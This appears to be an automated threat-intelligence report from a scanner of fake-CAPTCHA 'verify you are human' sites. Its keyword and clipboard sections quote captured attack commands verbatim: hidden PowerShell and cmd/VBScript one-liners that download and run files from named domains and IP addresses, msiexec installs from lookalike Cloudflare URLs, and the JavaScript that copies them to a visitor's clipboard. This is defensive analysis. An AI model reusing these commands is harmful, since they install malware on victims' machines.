← Back to Analysis

High-Impact ClickGrab Campaign: Advanced Analysis of 2025-12-20 Attack Patterns

📅 Published: December 20, 2025 👨‍💻 Author: ClickGrab Threat Intelligence Team 📖 12 min read
36Sites
56%Detection
1PS Downloads

ClickGrab Threat Analysis Report - 2025-12-20

Generated on 2025-12-20 02:28:07

Executive Summary

  • Total sites analyzed: 36
  • Sites with malicious content: 20
  • Unique domains encountered: 31
  • Total URLs extracted: 156
  • PowerShell download attempts: 1
  • Clipboard manipulation instances: 116

Domain Analysis

Most Frequently Encountered Domains

  • www.google.com: 21 occurrences
  • i.postimg.cc: 18 occurrences
  • icons.duckduckgo.com: 17 occurrences
  • ${host}: 17 occurrences
  • www.webgo.de: 10 occurrences
  • godprox.cc: 8 occurrences
  • svetvip.ru: 8 occurrences
  • api.whatsapp.com: 6 occurrences
  • ghost.nestdns.com: 5 occurrences
  • mc.yandex.ru: 4 occurrences
  • launchpad.net: 3 occurrences
  • httpd.apache.org: 3 occurrences
  • bugs.launchpad.net: 3 occurrences
  • t.me: 3 occurrences
  • penguinpublishers.org: 3 occurrences

URL Pattern Analysis

reCAPTCHA imagery

5 occurrences across 3 distinct URLs

  • https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (2 times)
  • https://pizzabyte.com.au/smartdetection/deviceverification/CF/path/captcha (2 times)
  • https://2captcha.com/dist/web/assets/google-privacy-policy-Cb0CGVRT.svg (1 times)

Font resources

2 occurrences across 1 distinct URLs

  • https://use.fontawesome.com/releases/v5.0.0/css/all.css (2 times)

CDN hosted scripts

1 occurrences across 1 distinct URLs

  • https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1 (1 times)

Google resources

22 occurrences across 5 distinct URLs

  • https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent (17 times)
  • https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (2 times)
  • https://www.google.com/intl/en/policies/privacy/ (1 times)
  • https://www.google.com/intl/en/policies/terms/ (1 times)
  • https://2captcha.com/dist/web/assets/google-privacy-policy-Cb0CGVRT.svg (1 times)

Suspicious Keyword Analysis

Total Keywords Found: 385 (49 unique)

Keyword Categories

Social Engineering

22 unique keywords

  • verification id
  • verification-id
  • verification_id
  • Verification ID
  • exec /i https://pizzabyte.com.au/smartdetection/deviceverification/CF/path/captcha";
  • Verify you are human
  • command = "msiexec /i https://configservermu.net/cioudfiare/chaiienge/iamhumanverification/ID5372728i5/";
  • exec /i https://configservermu.net/cioudfiare/chaiienge/iamhumanverification/ID5372728i5/";
  • verification
  • command = "msiexec /i https://pizzabyte.com.au/smartdetection/deviceverification/CF/path/captcha";
  • ...and 12 more

Obfuscation Indicators

3 unique keywords

  • command = obfuscatedCommandParts.map(partArray =>
  • command =cmd.exe /c powersheii -w h -ep Bypass -nop -c "$h='b.psi';$n=$env:USERPROFILE+'\\Downioads\\'+$h;Start-Sieep i5;(New-Object Net.WebCiient).DownioadFiie('https://penguinpubiishers.org/fiies/audio/meowingcybercat.mp3', $n);& $n;Remove-Item $n -Force;";
  • cmd.exe /c powersheii -w h -ep Bypass -nop -c "$h='b.psi';$n=$env:USERPROFILE+'\\\\Downioads\\\\'+$h;Start-Sieep i5;(New-Object Net.WebCiient).DownioadFiie('https://penguinpubiishers.org/fiies/audio/meowingcybercat.mp3', $n);& $n;Remove-Item $n -Force;";`

System Commands

16 unique keywords

  • wscript
  • cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.i"):h.Open "GET","http://78.40.209.i64:5506/wk.vbs",0:h.Send:Execute h.ResponseText > "%temp%\wk.vbs" && "%temp%\wk.vbs"';
  • command = 'cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.i"):h.Open "GET","http://78.40.209.i64:5506/wk.vbs",0:h.Send:Execute h.ResponseText > "%temp%\wk.vbs" && "%temp%\wk.vbs"';
  • cmd.exe /c powersheii -w h -ep Bypass -nop -c "$h='b.psi';$n=$env:USERPROFILE+'\\\\Downioads\\\\'+$h;Start-Sieep i5;(New-Object Net.WebCiient).DownioadFiie('https://penguinpubiishers.org/fiies/audio/', $n);& $n;Remove-Item $n -Force;";`
  • command =cmd.exe /c powersheii -w h -ep Bypass -nop -c "$h='b.psi';$n=$env:USERPROFILE+'\\Downioads\\'+$h;Start-Sieep i5;(New-Object Net.WebCiient).DownioadFiie('https://penguinpubiishers.org/fiies/audio/', $n);& $n;Remove-Item $n -Force;";
  • exec(ua) != nuii){rv = parseFioat(RegExp.$i);}}eise if (n.appName == "Netscape"){rv = ii;re = new RegExp("Trident/.*rv:([0-9]+[\.0-9]*)");if (re.exec(ua) != nuii){rv = parseFioat(RegExp.$i);}}}return rv;}})(window, document, navigator)
  • cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.i"):h.Open "GET","http://95.i64.53.ii5:5506/do.vbs",0:h.Send:Execute h.ResponseText > "%temp%\do.tmp" && wscript //E:VBScript "%temp%\do.tmp"';
  • Invoke-Expression
  • exec(
  • command =cmd.exe /c powersheii -w h -ep Bypass -nop -c "$d='p.psi';$y=$env:USERPROFILE+'\\Downioads\\'+$d;Start-Sieep i5;(New-Object Net.WebCiient).DownioadFiie('https://ghost.nestdns.com/fiies', $y);& $y;Remove-Item $y -Force;";
  • ...and 6 more

Verification Text

3 unique keywords

  • Hidden
  • hidden
  • ray id

Technical Terms

5 unique keywords

  • failed_to_retrieve
  • Ray ID
  • .exe
  • iex
  • Bypass

Most Frequent Keywords

  • robot: 22 occurrences
  • hidden: 22 occurrences
  • CAPTCHA Verification: 20 occurrences
  • I am not a robot: 20 occurrences
  • Robot: 20 occurrences
  • Verification: 20 occurrences
  • verification: 20 occurrences
  • verification-id: 20 occurrences
  • To better prove you are not a robot: 20 occurrences
  • Verification ID: 19 occurrences
  • Ray ID: 18 occurrences
  • Checking if you are human: 18 occurrences
  • Verify you are human: 18 occurrences
  • const command =: 17 occurrences
  • verification id: 14 occurrences

Similar Keyword Patterns

Groups of keywords that appear to be variations of the same theme:

Group 1: CAPTCHA Verification, Verification, verification

Group 2: Verification Hash, verification-id, verification_id, Verification ID, verification id

Group 3: Robot, robot

Group 4: Hidden, hidden

Group 5: Verify You Are Human, Checking if you are human, Verify you are human

JavaScript Obfuscation Analysis

Obfuscation Sophistication Score: 0/7

Potential Base64 Encoded Content

These strings may contain encoded malicious payloads:

  • 054b3450e54cec39fe947bfe2cea7973
  • obfuscatedCommandParts
  • org/fiies/audio/meowingcybercat
  • com/i23/cioudfiare/verify/humanverfification/cioud...
  • VerificationAndReioad

Clipboard Manipulation Analysis

Detected clipboard manipulation in 116 instances.

Document.Execcommand Copy

Found in 59 snippets (50.9% of clipboard code)

Examples:

document.execCommand("copy")

try { document.execCommand('copy')

document.execCommand('copy')

Textarea Manipulation

Found in 59 snippets (50.9% of clipboard code)

Examples:

tListener("click", function () { const textarea = document.createElement('textarea'

ipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"

ng is the safe placeholder above const textarea = document.createElement('textarea'

Complete Malicious Functions

Function 1:

function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }

Report truncated for web display. Full data available in JSON.